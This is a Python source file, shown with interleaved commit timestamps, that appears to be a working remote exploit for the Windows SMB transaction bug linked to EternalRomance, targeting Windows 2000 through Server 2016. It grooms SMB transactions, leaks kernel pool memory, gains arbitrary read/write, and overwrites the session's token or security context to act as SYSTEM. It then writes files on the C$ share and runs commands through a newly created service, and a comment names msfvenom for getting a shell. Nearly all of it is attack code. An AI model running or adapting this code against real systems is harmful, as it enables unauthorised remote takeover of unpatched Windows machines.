2017-06-20 00:08:35 +07:00
if leakInfo is not None :
break
print ( ' leak failed... try again ' )
conn . close ( tid , fid )
conn . disconnect_tree ( tid )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
2017-06-20 00:08:35 +07:00
if leakInfo is None :
return False
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
info [ ' fid ' ] = fid
info . update ( leakInfo )
# ================================
2017-07-25 22:45:38 +07:00
# shift transGroom.Indata ptr with SmbWriteAndX
2017-06-20 00:08:35 +07:00
# ================================
shift_indata_byte = 0x200
conn . do_write_andx_raw_pipe ( fid , ' A ' * shift_indata_byte )
2017-06-22 22:16:20 +07:00
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
2017-06-20 00:08:35 +07:00
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
2017-07-11 00:39:31 +07:00
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info [ ' next_page_addr ' ] + info [ ' TRANS_SIZE ' ] + 8 + info [ ' SRV_BUFHDR_SIZE ' ] + 0x1000 + shift_indata_byte
2017-06-20 00:08:35 +07:00
indata_next_trans_displacement = info [ ' trans2_addr ' ] - indata_value
2017-07-11 00:39:31 +07:00
conn . send_nt_trans_secondary ( mid = fid , data = ' \x00 ' , dataDisplacement = indata_next_trans_displacement + info [ ' TRANS_MID_OFFSET ' ] )
2017-06-20 00:08:35 +07:00
wait_for_request_processed ( conn )
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = pack ( ' <HH ' , fid , 0 ) , data = ' ' )
if recvPkt . getNTStatus ( ) != 0x10002 : # invalid SMB
print ( ' unexpected return status: 0x {:x} ' . format ( recvPkt . getNTStatus ( ) ) )
print ( ' !!! Write to wrong place !!! ' )
print ( ' the target might be crashed ' )
2017-07-15 21:16:04 +07:00
return False
2017-06-20 00:08:35 +07:00
print ( ' success controlling groom transaction ' )
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print ( ' modify trans1 struct for arbitrary read/write ' )
2017-07-11 00:39:31 +07:00
fmt = info [ ' PTR_FMT ' ]
2017-07-25 22:45:38 +07:00
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
2017-07-11 00:39:31 +07:00
conn . send_nt_trans_secondary ( mid = fid , data = pack ( ' < ' + fmt , info [ ' trans1_addr ' ] ) , dataDisplacement = indata_next_trans_displacement + info [ ' TRANS_INDATA_OFFSET ' ] )
2017-06-20 00:08:35 +07:00
wait_for_request_processed ( conn )
# modify
2017-07-25 22:45:38 +07:00
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
2017-07-15 20:03:07 +07:00
conn . send_nt_trans_secondary ( mid = special_mid , data = pack ( ' < ' + fmt * 3 , info [ ' trans1_addr ' ] , info [ ' trans1_addr ' ] + 0x200 , info [ ' trans2_addr ' ] ) , dataDisplacement = info [ ' TRANS_INPARAM_OFFSET ' ] )
2017-06-20 00:08:35 +07:00
wait_for_request_processed ( conn )
# modify trans2.mid
info [ ' trans2_mid ' ] = conn . next_mid ( )
2017-07-11 00:39:31 +07:00
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' <H ' , info [ ' trans2_mid ' ] ) , dataDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
2017-07-15 20:03:07 +07:00
return True
2017-07-15 21:16:04 +07:00
def exploit_fish_barrel ( conn , pipe_name , info ) :
# for Windows Vista/2008 and earlier
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn . nt_create_andx ( tid , pipe_name )
info [ ' fid ' ] = fid
2017-07-16 21:08:09 +07:00
if info [ ' os ' ] == ' WIN7 ' and ' arch ' not in info :
2017-07-15 21:16:04 +07:00
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info . update ( leak_frag_size ( conn , tid , fid ) )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
if ' arch ' in info :
# add os and arch specific exploit info
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
2017-07-16 21:08:09 +07:00
attempt_list = [ OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] ]
2017-07-15 21:16:04 +07:00
else :
2017-07-16 21:08:09 +07:00
# do not know target architecture
2017-07-15 21:16:04 +07:00
# this case is only for Windows 2003
2017-07-25 22:45:38 +07:00
# try offset of 64 bit then 32 bit because no target architecture
2017-07-16 21:08:09 +07:00
attempt_list = [ OS_ARCH_INFO [ info [ ' os ' ] ] [ ' x64 ' ] , OS_ARCH_INFO [ info [ ' os ' ] ] [ ' x86 ' ] ]
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# paramterCount = 0x100-TRANS_NAME_LEN
print ( ' Groom packets ' )
trans_param = pack ( ' <HH ' , info [ ' fid ' ] , 0 )
for i in range ( 12 ) :
mid = info [ ' fid ' ] if i == 8 else next_extra_mid ( )
2018-01-29 18:38:22 -07:00
conn . send_trans ( ' ' , mid = mid , param = trans_param , totalParameterCount = 0x100 - TRANS_NAME_LEN , totalDataCount = 0xec0 , maxParameterCount = 0x40 , maxDataCount = 0 )
2017-07-25 22:45:38 +07:00
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
2017-07-15 21:16:04 +07:00
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn . do_write_andx_raw_pipe ( info [ ' fid ' ] , ' A ' * shift_indata_byte )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
2017-07-25 22:45:38 +07:00
# Note: POOL_ALIGN value is same as heap alignment value
2017-07-16 21:08:09 +07:00
success = False
for tinfo in attempt_list :
print ( ' attempt controlling next transaction on ' + tinfo [ ' ARCH ' ] )
HEAP_CHUNK_PAD_SIZE = ( tinfo [ ' POOL_ALIGN ' ] - ( tinfo [ ' TRANS_SIZE ' ] + HEAP_HDR_SIZE ) % tinfo [ ' POOL_ALIGN ' ] ) % tinfo [ ' POOL_ALIGN ' ]
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x00 ' , dataDisplacement = NEXT_TRANS_OFFSET + tinfo [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = trans_param , data = ' ' )
if recvPkt . getNTStatus ( ) == 0x10002 : # invalid SMB
print ( ' success controlling one transaction ' )
success = True
if ' arch ' not in info :
print ( ' Target is ' + tinfo [ ' ARCH ' ] )
info [ ' arch ' ] = tinfo [ ' ARCH ' ]
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
break
if recvPkt . getNTStatus ( ) != 0 :
print ( ' unexpected return status: 0x {:x} ' . format ( recvPkt . getNTStatus ( ) ) )
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
if not success :
2017-07-15 21:16:04 +07:00
print ( ' unexpected return status: 0x {:x} ' . format ( recvPkt . getNTStatus ( ) ) )
print ( ' !!! Write to wrong place !!! ' )
print ( ' the target might be crashed ' )
return False
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
2018-01-29 18:38:22 -07:00
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
2017-07-25 22:45:38 +07:00
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
print ( ' modify parameter count to 0xffffffff to be able to write backward ' )
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \xff ' * 4 , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_TOTALPARAMCNT_OFFSET ' ] )
2017-07-25 22:45:38 +07:00
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
2017-07-15 21:16:04 +07:00
if info [ ' arch ' ] == ' x64 ' :
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \xff ' * 4 , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
wait_for_request_processed ( conn )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info [ ' TRANS_SIZE ' ] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info [ ' TRANS_SIZE ' ] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff ' * 4 , paramDisplacement = PREV_TRANS_OFFSET + info [ ' TRANS_TOTALPARAMCNT_OFFSET ' ] )
if info [ ' arch ' ] == ' x64 ' :
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff ' * 4 , paramDisplacement = PREV_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
2017-07-25 22:45:38 +07:00
# restore trans2.InParameters pointer before leaking next transaction
2017-07-15 21:16:04 +07:00
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x00 ' * 4 , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] + 4 )
wait_for_request_processed ( conn )
# ================================
# leak transaction
# ================================
print ( ' leak next transaction ' )
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = ' \x05 ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_FUNCTION_OFFSET ' ] )
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn . send_trans_secondary ( mid = info [ ' fid ' ] , data = pack ( ' <IIIII ' , 4 , 4 , 4 , 0x100 , 0x100 ) , dataDisplacement = NEXT_TRANS_OFFSET + info [ ' TRANS_PARAMCNT_OFFSET ' ] )
conn . send_nt_trans_secondary ( mid = special_mid )
leakData = conn . recv_transaction_data ( special_mid , 0x100 )
leakData = leakData [ 4 : ] # remove param
#open('leak.dat', 'wb').write(leakData)
# check heap chunk size value in leak data
if unpack_from ( ' <H ' , leakData , HEAP_CHUNK_PAD_SIZE ) [ 0 ] != ( TRANS_CHUNK_SIZE / / info [ ' POOL_ALIGN ' ] ) :
print ( ' chunk size is wrong ' )
return False
2017-07-25 22:45:38 +07:00
# extract leak transaction data and make next transaction to be trans2
2017-07-15 21:16:04 +07:00
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData [ leakTranOffset : ]
fmt = info [ ' PTR_FMT ' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( ' < ' + fmt * 5 , leakTrans , 8 )
inparam_value , outparam_value , indata_value = unpack_from ( ' < ' + fmt * 3 , leakTrans , info [ ' TRANS_INPARAM_OFFSET ' ] )
trans2_mid = unpack_from ( ' <H ' , leakTrans , info [ ' TRANS_MID_OFFSET ' ] ) [ 0 ]
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
print ( ' CONNECTION: 0x {:x} ' . format ( connection_addr ) )
print ( ' SESSION: 0x {:x} ' . format ( session_addr ) )
print ( ' FLINK: 0x {:x} ' . format ( flink_value ) )
print ( ' InData: 0x {:x} ' . format ( indata_value ) )
print ( ' MID: 0x {:x} ' . format ( trans2_mid ) )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
trans2_addr = inparam_value - info [ ' TRANS_SIZE ' ] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print ( ' TRANS1: 0x {:x} ' . format ( trans1_addr ) )
print ( ' TRANS2: 0x {:x} ' . format ( trans2_addr ) )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print ( ' modify transaction struct for arbitrary read/write ' )
# modify
2017-07-25 22:45:38 +07:00
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
2017-07-15 21:16:04 +07:00
TRANS_OFFSET = 0x100000000 - ( info [ ' TRANS_SIZE ' ] + TRANS_NAME_LEN )
conn . send_nt_trans_secondary ( mid = info [ ' fid ' ] , param = pack ( ' < ' + fmt * 3 , trans1_addr , trans1_addr + 0x200 , trans2_addr ) , paramDisplacement = TRANS_OFFSET + info [ ' TRANS_INPARAM_OFFSET ' ] )
wait_for_request_processed ( conn )
2018-01-29 18:38:22 -07:00
2017-07-25 22:45:38 +07:00
# modify trans1.mid
2017-07-15 21:16:04 +07:00
trans1_mid = conn . next_mid ( )
conn . send_trans_secondary ( mid = info [ ' fid ' ] , param = pack ( ' <H ' , trans1_mid ) , paramDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
2018-01-29 18:38:22 -07:00
2017-07-15 21:16:04 +07:00
info . update ( {
' connection ' : connection_addr ,
' session ' : session_addr ,
' trans1_mid ' : trans1_mid ,
' trans1_addr ' : trans1_addr ,
' trans2_mid ' : trans2_mid ,
' trans2_addr ' : trans2_addr ,
} )
return True
2017-07-15 20:03:07 +07:00
2017-07-16 21:08:09 +07:00
def create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr ) :
SID_SYSTEM = pack ( ' <BB5xB ' + ' I ' , 1 , 1 , 5 , 18 )
SID_ADMINISTRATORS = pack ( ' <BB5xB ' + ' II ' , 1 , 2 , 5 , 32 , 544 )
SID_AUTHENICATED_USERS = pack ( ' <BB5xB ' + ' I ' , 1 , 1 , 5 , 11 )
SID_EVERYONE = pack ( ' <BB5xB ' + ' I ' , 1 , 1 , 1 , 0 )
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM , SID_ADMINISTRATORS , SID_EVERYONE , SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0 , 0xe , 7 , 7 ]
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min ( userAndGroupCount , 4 )
fakeUserAndGroupsAddr = userAndGroupsAddr
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
addr = fakeUserAndGroupsAddr + ( fakeUserAndGroupCount * info [ ' PTR_SIZE ' ] * 2 )
fakeUserAndGroups = ' '
for sid , attr in zip ( sids [ : fakeUserAndGroupCount ] , attrs [ : fakeUserAndGroupCount ] ) :
fakeUserAndGroups + = pack ( ' < ' + info [ ' PTR_FMT ' ] * 2 , addr , attr )
addr + = len ( sid )
fakeUserAndGroups + = ' ' . join ( sids [ : fakeUserAndGroupCount ] )
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
return fakeUserAndGroupCount , fakeUserAndGroups
2017-07-15 20:03:07 +07:00
def exploit ( target , pipe_name ) :
conn = MYSMB ( target )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# set NODELAY to make exploit much faster
conn . get_socket ( ) . setsockopt ( socket . IPPROTO_TCP , socket . TCP_NODELAY , 1 )
info = { }
conn . login ( USERNAME , PASSWORD , maxBufferSize = 4356 )
server_os = conn . get_server_os ( )
print ( ' Target OS: ' + server_os )
if server_os . startswith ( " Windows 7 " ) or server_os . startswith ( " Windows Server 2008 R2 " ) :
info [ ' os ' ] = ' WIN7 '
2017-07-15 21:16:04 +07:00
info [ ' method ' ] = exploit_matched_pairs
2017-07-16 21:12:31 +07:00
elif server_os . startswith ( " Windows 8 " ) or server_os . startswith ( " Windows Server 2012 " ) or server_os . startswith ( " Windows Server 2016 " ) or server_os . startswith ( " Windows 10 " ) :
2017-07-15 20:03:07 +07:00
info [ ' os ' ] = ' WIN8 '
2017-07-15 21:16:04 +07:00
info [ ' method ' ] = exploit_matched_pairs
2017-07-16 21:12:31 +07:00
elif server_os . startswith ( " Windows Server (R) 2008 " ) or server_os . startswith ( ' Windows Vista ' ) :
2017-07-15 21:16:04 +07:00
info [ ' os ' ] = ' WIN7 '
info [ ' method ' ] = exploit_fish_barrel
2017-07-16 21:08:09 +07:00
elif server_os . startswith ( " Windows Server 2003 " ) :
info [ ' os ' ] = ' WIN2K3 '
2017-07-18 22:47:35 +07:00
info [ ' method ' ] = exploit_fish_barrel
2017-07-16 21:08:09 +07:00
elif server_os . startswith ( " Windows 5.1 " ) :
info [ ' os ' ] = ' WINXP '
info [ ' arch ' ] = ' x86 '
2017-07-18 22:47:35 +07:00
info [ ' method ' ] = exploit_fish_barrel
2017-07-16 21:08:09 +07:00
elif server_os . startswith ( " Windows XP " ) :
info [ ' os ' ] = ' WINXP '
info [ ' arch ' ] = ' x64 '
2017-07-18 22:47:35 +07:00
info [ ' method ' ] = exploit_fish_barrel
elif server_os . startswith ( " Windows 5.0 " ) :
info [ ' os ' ] = ' WIN2K '
info [ ' arch ' ] = ' x86 '
info [ ' method ' ] = exploit_fish_barrel
2017-07-15 20:03:07 +07:00
else :
print ( ' This exploit does not support this target ' )
sys . exit ( )
2018-01-29 18:38:22 -07:00
2017-07-16 22:50:44 +07:00
if pipe_name is None :
pipe_name = find_named_pipe ( conn )
if pipe_name is None :
print ( ' Not found accessible named pipe ' )
return False
print ( ' Using named pipe: ' + pipe_name )
2017-07-15 20:03:07 +07:00
2017-07-15 21:16:04 +07:00
if not info [ ' method ' ] ( conn , pipe_name , info ) :
2017-07-15 20:03:07 +07:00
return False
2017-06-20 00:08:35 +07:00
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
2018-01-29 18:38:22 -07:00
# ================================
2017-07-15 20:03:07 +07:00
fmt = info [ ' PTR_FMT ' ]
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
print ( ' make this SMB session to be SYSTEM ' )
# IsNullSession = 0, IsAdmin = 1
write_data ( conn , info , info [ ' session ' ] + info [ ' SESSION_ISNULL_OFFSET ' ] , ' \x00 \x01 ' )
# read session struct to get SecurityContext address
sessionData = read_data ( conn , info , info [ ' session ' ] , 0x100 )
2017-07-11 00:39:31 +07:00
secCtxAddr = unpack_from ( ' < ' + fmt , sessionData , info [ ' SESSION_SECCTX_OFFSET ' ] ) [ 0 ]
2017-07-11 15:48:06 +07:00
2017-07-16 21:08:09 +07:00
if ' PCTXTHANDLE_TOKEN_OFFSET ' in info :
2017-07-25 22:45:38 +07:00
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
# find the token and modify it
if ' SECCTX_PCTXTHANDLE_OFFSET ' in info :
pctxtDataInfo = read_data ( conn , info , secCtxAddr + info [ ' SECCTX_PCTXTHANDLE_OFFSET ' ] , 8 )
pctxtDataAddr = unpack_from ( ' < ' + fmt , pctxtDataInfo ) [ 0 ]
else :
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data ( conn , info , pctxtDataAddr + info [ ' PCTXTHANDLE_TOKEN_OFFSET ' ] , 8 )
tokenAddr = unpack_from ( ' < ' + fmt , tokenAddrInfo ) [ 0 ]
print ( ' current TOKEN addr: 0x {:x} ' . format ( tokenAddr ) )
2018-01-29 18:38:22 -07:00
2017-07-16 21:08:09 +07:00
# copy Token data for restoration
tokenData = read_data ( conn , info , tokenAddr , 0x40 * info [ ' PTR_SIZE ' ] )
2018-01-29 18:38:22 -07:00
2018-01-29 22:34:40 -07:00
# parse necessary data out of token
userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset = get_group_data_from_token ( info , tokenData )
2017-07-16 21:08:09 +07:00
print ( ' overwriting token UserAndGroups ' )
# modify UserAndGroups info
fakeUserAndGroupCount , fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr )
if fakeUserAndGroupCount != userAndGroupCount :
2018-01-29 18:54:30 -07:00
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( ' <I ' , fakeUserAndGroupCount ) )
2017-07-16 21:08:09 +07:00
write_data ( conn , info , userAndGroupsAddr , fakeUserAndGroups )
else :
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data ( conn , info , secCtxAddr , info [ ' SECCTX_SIZE ' ] )
2017-06-20 00:08:35 +07:00
2017-07-16 21:08:09 +07:00
print ( ' overwriting session security context ' )
# see FAKE_SECCTX detail at top of the file
write_data ( conn , info , secCtxAddr , info [ ' FAKE_SECCTX ' ] )
2017-06-20 00:08:35 +07:00
# ================================
# do whatever we want as SYSTEM over this SMB connection
2018-01-29 18:38:22 -07:00
# ================================
2017-06-20 00:08:35 +07:00
try :
2017-07-16 21:08:09 +07:00
smb_pwn ( conn , info [ ' arch ' ] )
2017-06-20 00:08:35 +07:00
except :
pass
2017-07-16 21:08:09 +07:00
# restore SecurityContext/Token
if ' PCTXTHANDLE_TOKEN_OFFSET ' in info :
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data ( conn , info , userAndGroupsAddr , tokenData [ userAndGroupsOffset : userAndGroupsOffset + len ( fakeUserAndGroups ) ] )
if fakeUserAndGroupCount != userAndGroupCount :
2018-01-29 18:54:30 -07:00
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( ' <I ' , userAndGroupCount ) )
2017-07-16 21:08:09 +07:00
else :
write_data ( conn , info , secCtxAddr , secCtxData )
2017-06-20 00:08:35 +07:00
2017-07-15 20:03:07 +07:00
conn . disconnect_tree ( conn . get_tid ( ) )
2017-06-20 00:08:35 +07:00
conn . logoff ( )
conn . get_socket ( ) . close ( )
return True
2018-01-29 22:34:40 -07:00
def validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset ) :
RestrictedSidCount = unpack_from ( ' <I ' , tokenData , userAndGroupCountOffset + 4 ) [ 0 ] # + sizeof(ULONG) (always 4)
RestrictedSids = unpack_from ( ' < ' + info [ ' PTR_FMT ' ] , tokenData , userAndGroupsAddrOffset + info [ ' PTR_SIZE ' ] ) [ 0 ] # + sizeof(void*) (4 or 8)
userAndGroupCount = unpack_from ( ' <I ' , tokenData , userAndGroupCountOffset ) [ 0 ]
userAndGroupsAddr = unpack_from ( ' < ' + info [ ' PTR_FMT ' ] , tokenData , userAndGroupsAddrOffset ) [ 0 ]
success = True
# RestrictedSids and RestrictedSidCount MUST be 0
# Could also add a failure point here if userAndGroupCount >= x
if RestrictedSids != 0 or RestrictedSidCount != 0 :
print ( ' Bad TOKEN_USER_GROUP offsets detected while parsing tokenData! ' )
print ( ' RestrictedSids: 0x {:x} ' . format ( RestrictedSids ) )
print ( ' RestrictedSidCount: 0x {:x} ' . format ( RestrictedSidCount ) )
success = False
print ( ' userAndGroupCount: 0x {:x} ' . format ( userAndGroupCount ) )
print ( ' userAndGroupsAddr: 0x {:x} ' . format ( userAndGroupsAddr ) )
return success , userAndGroupCount , userAndGroupsAddr
def get_group_data_from_token ( info , tokenData ) :
userAndGroupCountOffset = info [ ' TOKEN_USER_GROUP_CNT_OFFSET ' ]
userAndGroupsAddrOffset = info [ ' TOKEN_USER_GROUP_ADDR_OFFSET ' ]
# try with default offsets
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info [ ' os ' ] == ' WINXP ' and info [ ' arch ' ] == ' x86 ' :
print ( ' Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround ' )
userAndGroupCountOffset = info [ ' TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1 ' ]
userAndGroupsAddrOffset = info [ ' TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1 ' ]
# try with hack offsets
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
# still no good. Abort because something is wrong
if not success :
print ( ' Bad TOKEN_USER_GROUP offsets. Abort > BSOD ' )
sys . exit ( )
# token parsed and validated
return userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset
2017-07-15 20:03:07 +07:00
2017-07-16 21:08:09 +07:00
def smb_pwn ( conn , arch ) :
2017-07-11 22:49:00 +07:00
smbConn = conn . get_smbconnection ( )
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
print ( ' creating file c: \\ pwned.txt on the target ' )
tid2 = smbConn . connectTree ( ' C$ ' )
fid2 = smbConn . createFile ( tid2 , ' /pwned.txt ' )
smbConn . closeFile ( tid2 , fid2 )
smbConn . disconnectTree ( tid2 )
2018-01-29 18:38:22 -07:00
2017-07-11 22:49:00 +07:00
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
2018-01-29 22:34:40 -07:00
service_exec ( conn , r ' cmd /c copy c: \ pwned.txt c: \ pwned_exec.txt ' )
2017-07-25 21:22:37 +07:00
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
2017-07-11 22:49:00 +07:00
def smb_send_file ( smbConn , localSrc , remoteDrive , remotePath ) :
with open ( localSrc , ' rb ' ) as fp :
smbConn . putFile ( remoteDrive + ' $ ' , remotePath , fp . read )
2017-06-20 00:08:35 +07:00
# based on impacket/examples/serviceinstall.py
2017-07-25 21:26:55 +07:00
# Note: using Windows Service to execute command same as how psexec works
2017-07-11 22:49:00 +07:00
def service_exec ( conn , cmd ) :
2017-06-20 00:08:35 +07:00
import random
import string
from impacket . dcerpc . v5 import transport , srvs , scmr
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
service_name = ' ' . join ( [ random . choice ( string . letters ) for i in range ( 4 ) ] )
# Setup up a DCE SMBTransport with the connection already in place
2017-07-11 22:49:00 +07:00
rpcsvc = conn . get_dce_rpc ( ' svcctl ' )
2017-06-20 00:08:35 +07:00
rpcsvc . connect ( )
rpcsvc . bind ( scmr . MSRPC_UUID_SCMR )
2017-07-25 21:26:55 +07:00
svcHandle = None
2017-06-20 00:08:35 +07:00
try :
2017-07-11 22:49:00 +07:00
print ( " Opening SVCManager on %s ..... " % conn . get_remote_host ( ) )
2017-06-20 00:08:35 +07:00
resp = scmr . hROpenSCManagerW ( rpcsvc )
svcHandle = resp [ ' lpScHandle ' ]
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
# First we try to open the service in case it exists. If it does, we remove it.
try :
resp = scmr . hROpenServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' )
2017-07-19 14:17:20 +02:00
except Exception as e :
2017-06-20 00:08:35 +07:00
if str ( e ) . find ( ' ERROR_SERVICE_DOES_NOT_EXIST ' ) == - 1 :
raise e # Unexpected error
else :
# It exists, remove it
scmr . hRDeleteService ( rpcsvc , resp [ ' lpServiceHandle ' ] )
